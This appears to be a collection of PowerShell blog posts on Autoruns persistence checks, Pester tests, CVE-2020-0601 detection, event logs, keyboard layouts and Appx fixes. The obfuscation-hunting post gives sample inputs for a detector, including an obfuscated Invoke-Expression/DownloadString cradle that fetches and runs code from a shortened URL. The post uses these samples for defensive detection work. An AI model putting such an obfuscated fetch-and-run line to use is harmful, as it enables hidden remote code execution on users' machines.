About AutoRuns version 13.95

It’s long overdue, I’ve published on Sunday the version 13.95 of the Autoruns module.
You can find the digitally signed version on the PowerShell Gallery
I’ve written some release notes on GitHub as well on this page that highlights the changes and fixes in this release.
I won’t repeat the “basics” about how to install it that you can find on the main page of the project. I’d like here to focus on the main changes:

  • Support for user shell folders

The original Microsoft Autoruns.exe executable added

support for user Shell folders redirections

last year (see release notes).
The Autoruns module had a check in “$($env:AppData)\Microsoft\Windows\Start Menu\Programs\Startup” assuming that both Startup value in the User Shell folders and Shell folders registry key haven’t been hijacked.
The other issue with that code was that it was still not compatible with the -User parameter introduced in version 13.90.1
I also fixed a third issue. When there’s a file located in these folders, it’s found even if its hidden attribute is set. I simply added a -Force switch to the Get-ChildItem cmdlet.

Get-PSAutorun -Logon | Where Path -match 'Shell\sFolders'

It displays the non expanded value of the Startup value under the ‘User Shell folders’. This value is expanded in this ‘Shell folders’ key. The code checks what’s in this path.
If it’s an executable, it shows this file and if it’s a shortcut, it follows it and displays its target.

Here’s what the original Autoruns shows when there are files in the location:

Here’s what the Autoruns PowerShell modules shows:

  • New -Raw parameter

As described in issue #56, the main idea is the avoid manipulating and trying to prettify found artifacts. The -Raw parameter aims at displaying artifacts “untouched”.
It’s therefore incompatible with the -ShowFileHash and -VerifyDigitalSignature parameters. That’s why there’s a 2nd parameterset added to the main function to handle this incompatibility.

Let’s see it in action:

Get-PSAutorun -Raw | ogv -PassThru 

Here’s a sample output of scheduled tasks

Here’s a sample output of drivers and services

  • New -PSProfiles parameter

This is what I merged from the experimental branch. PowerShell profiles can used in offensive or defensive way.

PowerShell profiles are currently not considered as a persistence mechanism by the original Autoruns.exe from Microsoft although they should.

PowerShell profiles can be used a persistence mechanism. It’s has demonstrated here.

PowerShell profiles have been used a persistence technique by the Turla group and PowerShell profiles is an attack technique listed in the MITRE matrix.

Get-PSAutorun -PSProfiles

NB:What the Get-PSAutorun function displays may not be exhaustive because it depends on the host. The Visual Studio Code (VSCode) host is not handled currently for example and will not in the output. (See more about_profiles)

Adding some Pester tests to Autoruns module

I’ve been working with Pester for a while and I thought it would be nice to have some Pester tests in the Autoruns module.

I don’t have very high expectations and thought I’d start with some tests to validate that previous issues encountered are still fixed and keep being remediated.

While writing these tests, I encountered two challenges.

  • First challenge

The first one is that the module exports a single function and there are many functions in the begin block of this exported function.
I needed to find a solution to be able to test anything in the code whatever the function.
I decided to use the Abstract Syntax Tree (a.k.a AST) to extract every function and inject them in a fake module. In other words the function tree in the original module would be flatten in this fake module.
This way I can use the InModuleScope and test anything I want.

Here’s the only exported function from the original Autoruns module:

Here are the inner functions extracted from the original module and loaded in the FakeAutoRuns module:

Here’s the code that extracts the functions and loads them in a flat (fake) module:

  • The 2nd challenge

The 2nd challenge was that I needed to mock some calls made to a .Net method.

I needed to mock the Test-Path, Get-Item cmdlets and especially the call to the method named GetSubKeyNames on the Microsoft.Win32.RegistryKey objects returned by the Get-Item cmdlet in the following example:

Here’s what I did to mock these cmdlets and their invocation of a .Net method

I feel that the learning curve is steep with Pester. If you know a better way to write Pester tests for this issue #26, please tell me, your input is more than welcome.

What to do after patching CVE-2020-0601

The FAQ section of CVE-2020-0601 includes the following:

How can I tell is someone is attempting to use a forged certificate to exploit this vulnerability?

NB: Once patched, events are generated after a reboot.

It appears you can also rely on Windows Defender to answer this question: exploit attempts are detected as Exploit:Win32/CVE-2020-0601.A and Exploit:Win32/CVE-2020-0601.B

    • Is my system patched against CVE-2020-0601 exploits?
# Updated against CVE-2020-0601 exploits?
if ($updated =Get-Item C:\Windows\System32\crypt32.dll |
Select-String '\[CVE-2020-0601\]' -Encoding unicode) {
 'Already Updated against CVE-2020-0601'
} else {
 'Protection against CVE-2020-0601 missing'

If your system is patched, you get:

If it’s not, you get:

    • Any exploit attempt detected?

There’s a provider named Microsoft-Windows-Audit-CVE that can generate 2 events:

# What kind of events we get from this provider
(Get-WinEvent -ListProvider 'Microsoft-Windows-Audit-CVE').Events

Once patched, you could know if an attempt to exploit this CVE has been made

# Anything that would require investigation
$HT = @{
 FilterHashTable = @{ProviderName ='Microsoft-Windows-Audit-CVE'}
 ErrorAction = 'SilentlyContinue'
 Verbose = [switch]::Present
if ($events = Get-WinEvent @HT) {
} else {
 'No CVE exploit detected'

# Display more properties
if ($events) {
 $events | 
 Select -Property * -Exclude MachineName,UserId

NB: The above query allows to find both events id 1 and 2 from the Application and System log.

There no known attempt to exploit it yet, according to this MSRC blog post.

This vulnerability is classed Important and we have not seen it used in active attacks.

Let’s say that there’s an exploit in the wild.
You can follow this guide to analyze the para field of Audit-CVE event ID 1 (mentioned in the FAQ of CVE-2020-0601):

Credit: Matt Graeber

Other links:

Quick post: find users who have an Exchange Online mailbox

If you have a hybrid Exchange infrastructure, it appears that you can query your local Active Directory to find out users who have already been migrated to Exchange Online.

Thanks to the attribute named msExchRecipientTypeDetails (values detailed here), you can find these accounts with a remote mailbox.

Here’s a small function that leverages this msExchRecipientTypeDetails attribute:

You can even bind cmdlets like this for example:

Get-RemoteUserMailbox  |
Get-ADUser -Properties AccountExpirationDate | 

Nice, isn’t it? πŸ˜€

Invoke Get-WinEvent without parameters

You may be used to invoke cmdlets without parameters and get a nice default end-user experience. However, you may be surprised by the default behavior of the Get-WinEvent cmdlet. In a Windows PowerShell 5.1 console, you may encounter the following error:

Get-WinEvent : The data is invalid
At line:1 char:1
+ Get-WinEvent
+ ~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Get-WinEvent], EventLogInvalidDataException
+ FullyQualifiedErrorId : The data is invalid,Microsoft.PowerShell.Commands.GetWinEventCommand

This issue has already been reported a long time ago on uservoice.

Let’s try to find out what happens behind the scene, when you invoke the Get-WinEvent cmdlet without parameters.

The default parameter set is named GetLogSet and has the following parameters:

# Get the name of the default parameter set
Get-Command Get-WinEvent | Select DefaultParameterSet

# What are its parameters
(Get-Command Get-WinEvent).ParameterSets | 
Where isDefault | 
Select -ExpandProperty Parameters | Out-GridView

Notice that none of them is mandatory.

What kind of error is this?

$Error[0] | Select -Property *

We actually get an error that has the following fully qualified name System.Diagnostics.Eventing.Reader.EventLogInvalidDataException

If you invoke the Get-WinEvent cmdlet with one of the common parameters, the Debug switch, you get the following:

Get-WinEvent -Debug

An xml query is created with 434 log names (the index starts at 0).

Let’s extract this xml query.
If you remember my post about how to Make Get-WinEvent cmdlet perform quicker, you know that the XML query also appears in the Verbose stream.
By merging the output and verbose stream and removing the ending dot and the first line, I can capture the xml query in a variable named q.

# oneliner
$q = ((( $(try {Get-WinEvent -Verbose -ErrorAction Stop 4>&1} catch {}).Message) -split "`n")[1]) -replace '\.',''

# same oneliner split on multiple lines for a better readability
$q = (
   try {
    Get-WinEvent -Verbose -ErrorAction Stop 4>&1
   } catch {}
  ) -split "`n"
) -replace '\.',''


The captured xml query is valid because casting it to the XML type alias or accelerator (for [System.Xml.XmlDocument]) doesn’t throw an error.

By using a dichotomic approach, it’s possible to find out when the error occurs.

It appears that the number of Paths is the culprit. You can have a single Query node with a huge number of Paths or a huge number of Query nodes with a Path, it doesn’t make a difference. In both cases having more than 256 Paths will produce this undesirable behavior.

You get actually the same error if you do the following

Get-WinEvent -LogName *
# Use the Debug switch to uncover the XML query:
Get-WinEvent -LogName * -Debug

The LogName is the non-mandatory parameter that belongs to the default parameter set named GetLogSet. It has the same behavior as invoking the Get-WinEvent cmdlet without parameters.

I haven’t seen many blog posts about this error and the following shed some lights on the 256 Paths limit:
Nice work Craig πŸ™‚

Quick post: Review Windows Defender notifications

My son has dowloaded some zip files to be used when he plays Minecraft. The Windows Defender real-time scan blocked and quarantined these files. I had a notification the next time I logged on the computer.
I dismissed too quickly the notification and wanted to get more info about what happened.
I went in the Windows Security dashboard but I couldn’t find any info in the History 😦

After some Google-fu, I found the following page on doc.microsoft.com about Review event logs and error codes to troubleshoot issues with Windows Defender Antivirus.

It appears that you can either use PowerShell to retrieve these events from the log πŸ˜€

Get-WinEvent -FilterHashtable @{
 ProviderName = 'Microsoft-Windows-Windows Defender'; 
} | 
Select -Last 2 -ExpandProperty Message

or a filter in the event viewer.

Hunting for obfuscation

During my summer holidays, I watched some of the great PSConf.eu content published on youtube.

This blog post is a focus on Daniel Bohannon’s presentation named PesterSec: Using Pester & ScriptAnalyzer to Detect Obfuscated PowerShell

Here’s the material he made available:

He made a demo of Measure-SAObfuscation.psm1 being run on the PowerShellCorpus.
This function is available in his 2 years old github repo named DevSec-Defense

I wanted to learn more and deep dive into his code. I wanted to learn how he’s detecting obfuscation.

During this journey, I realised I could use the same structure as the InjectionHunter module. I first created a module named ObfuscationHunter.
In this module, all I did is: restructure the content, reassemble the pieces of the puzzle, write some lazy Pester tests, sign the code and catalogs, merge the content from the different presentations (the Measure-TickUsageInVariable function isn’t in the custom rules of the DevSec-Defense github repo)… .

I thought the work of Daniel Bohannon and Lee Holmes is absolutely fantastic and awesome.
I didn’t go too much forward because Daniel Bohannon said he has the intention to publish it to the PowerShell Gallery. Once he does, it should be listed on his PSGallery page.

So, by using the same idea I presented on this blog post,
Using PowerShell Injection Hunter at scale, I created a Test-ObfuscationHunter function.

It shares the same principles as the InjectionHunter module:

    • has a dependency on the PSScriptAnalyzer module
    • uses custom rules that can be found here
    • each rule uses a predicate (a scriptblock) to parse the Abstract Syntax Tree (AST)

This Test-ObfuscationHunter function allows me to do the following:

    • Test if some piece of code uses a tick to obfuscate a command:
    • # load the above function I created
      . ~\Documents\Test-ObfuscationHunter.ps1
       $Code = @'
      Test-ObfuscationHunter -Code $Code

    • Test if some piece of code uses a tick to obfuscate a member:
    • $Code = @'
      Test-ObfuscationHunter -Code $Code 

      NB: it also detects the tick as a non-alphanumeric character used in a member.

    • Test if some piece of code uses a non-alphanumeric character to obfuscate a member
    • $Code = @'
      Test-ObfuscationHunter -Code $Code 

    • Test if some piece of code uses a suspicious/abusive expression length to obfuscate a member
    • $Code = @'
      'a'.((((New-Object Net.WebClient) |GM)| Where-Object{(Get-Item Variable:/_).Value.Name-like'D*g'}).Name)
      Test-ObfuscationHunter -Code $Code

      NB: it also detects the tick as a non-alphanumeric character used in a member.

    • Test if some piece of code uses a tick to obfuscate a variable
    • $Code = @'
      'notepad' | . (${e`Nv:C`Om`Spec}[4,15,25] -join '')
      Test-ObfuscationHunter -Code $Cod

      NB: it also detects the tick being used in a member.

    • Test if some piece of code uses a tick to obfuscate a variable
    • $Code = @'
      Test-ObfuscationHunter -Code $Code

    • Test if some piece of code uses a non-alphanumeric character to obfuscate a variable
    • $Code = @'
      Test-ObfuscationHunter -Code $Code

    • Test if some piece of code uses many obfuscation techniques
    • Test-ObfuscationHunter -Code @'
      Invoke-Expression (New-Object Net.WebClient)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"('ht'+'tps://bit.ly/L3g1t')

About keyboard layouts available at logon

  • Context

During a Windows 10 migration, as long as you use the following wizard, you can set the logon keyboards’ layouts available before a user logs on.

Let’s say now that you want to do it remotely and that you’ve a huge number of target computers to modify.
You’d typically need automation and a tool like PowerShell to do this peacefully.

  • Problem

For the last 20 years, all you needed to do was to modify the keyboard layouts under the following registry HKEY_USERS\.DEFAULT\Keyboard Layout\Preload.
(40c is French, 409 is English US,…)
To be more accurate, the input language equals the keyboard layout when there’s only a value in the Preload key and nothing under the Substitutes key.
If there’s a Substitute, the value in the Preload key is the input language and the keyboard layout is under the Substitutes key.

You could for most simple cases (having the same pair input language/keyboard layout) just populate the Preload key with the following function provided by Jakub JareΕ‘ on this page that uses the *-ItemProperty cmdlets:

Unfortunately, you cannot just only modify these registry keys on recent Windows 10 versions. The above is no longer valid 😦
If you do, the LogonUI.exe process (being run by the SYSTEM account) uses other registry keys and will actually overwrite what you did.
It appears that HKEY_USERS\S-1-5-18\ and HKEY_USERS\.DEFAULT are the same registry hives.
The LogonUI.exe process uses what’s stored in this registry key ‘HKEY_USERS\S-1-5-18\Control Panel\International\User Profile’.
Do not delete this content as suggested on some websites.

I just want a simple fully supported native way to set the keyboards layouts available at logon.
I don’t want to hijack anything, alter the security or write more that 2 values in the registry.

  • Solution

My solution uses the native cmdlets from the International module to validate what was entered as input but that’s not the only reason.

There’s a huge issue with the International cmdlets. They can only be used in the Current User context.
To work around this caveat, my solution creates a scheduled task that runs as SYSTEM.
In other words, Set-WinUserLanguageList is launched by the SYSTEM account in a scheduled task.

I also wanted to be able to interact remotely with computers over WinRM and find the shortest way to create the scheduled tasks without using the XML schema or binaries.

Here’s my solution:

Let’s see it in action:

# Import the module
Import-Module KeyboardLayoutsAtLogon.psm1 -Verbose

# Have a look at the help
Get-Help Install-DefaultKeyboardLayout

# Yes, it can be invoked w/o parameters

# Use the verbose stream to see what it does by default
# when you don't specify any parameter
Install-DefaultKeyboardLayout -Verbose

# Let's do the opposite
# set en-GB as 1rst keyboard layout
# fr-FR as the 2nd keyboard layout
# and target 2 remote computers over PSRemoting
$HT = @{ FirstLanguage = 'en-GB' ; SecondLanguage = 'fr-FR'}
Install-DefaultKeyboardLayout -ComputerName 'target1','localhost' @HT -Verbose

# Use the -AsJob parameter
$HT = @{ FirstLanguage = 'en-GB' ; SecondLanguage = 'fr-FR'}
'localhost','target2' |
Install-DefaultKeyboardLayout @HT -Verbose -AsJob
Get-Job | Receive-Job

About Appx packages not working in the Start menu

  • Context

We have upgraded a Windows 10 1803 to 1809 back in June.
The end-user complained that he couldn’t launch calc anymore and his start menu looked like this:

He should have had this instead:

Microsoft just released some fixes in this October 15, 2019β€”KB4520062 (OS Build 17763.832) where it says:

Prevents blank tiles from appearing in the Start menu when you upgrade to Windows 10, version 1809 from any previous version of Windows 10. However, if you have already upgraded to Windows 10, version 1809, installing this update will not remove existing blank tiles.

I’m not sure if this KB would really help because it doesn’t match what we see in the “broken” Tiles in his Start menu.

  • Problem

Here’s the result of the

Get-AppxProvisionedPackage -Online

You can notice that there’s something wrong with the InstallLocation property.
That %systemdrive% is an environment variable.

I ran a procmon trace to find out what registry keys and values were being read when I run the Get-AppxProvisionedPackage cmdlet.

Then I queried what appears in these keys on his computer:

You can see that the environment variable %systemdrive% isn’t expanded because the value type is wrong.
It’s currently a REG_SZ whereas it should be a REG_EXPAND_SZ to be able to work with the environment variable.

  • Solution

There are 2 ways to fix this. Either replace %systemdrive% by C: or change the type of the value from REG_SZ to REG_EXPAND_SZ.
Here’s a example using the REG_EXPAND_SZ way of fixing this:


Last Saturday, I’ve been to the PowerShell Saturday Paris 2019

It wouldn’t have been possible without:

    • the sponsors
    • the speakers:
    • speakers who delivered lightening session during the lunch break.
    • the PowerBeer at the end
    • the help and work of organizers (here are only 3 of them busy at work)

I enjoyed all the sessions and every minute of this event, this community is just awesome.
I ❀ the PowerShell community.

I’ve also won a Learn dbatools in a Month of Lunches book
written by Chrissy LeMaire and Rob Sewell and published by Manning Publications

Thanks again to anybody involved in this event who made it a great success.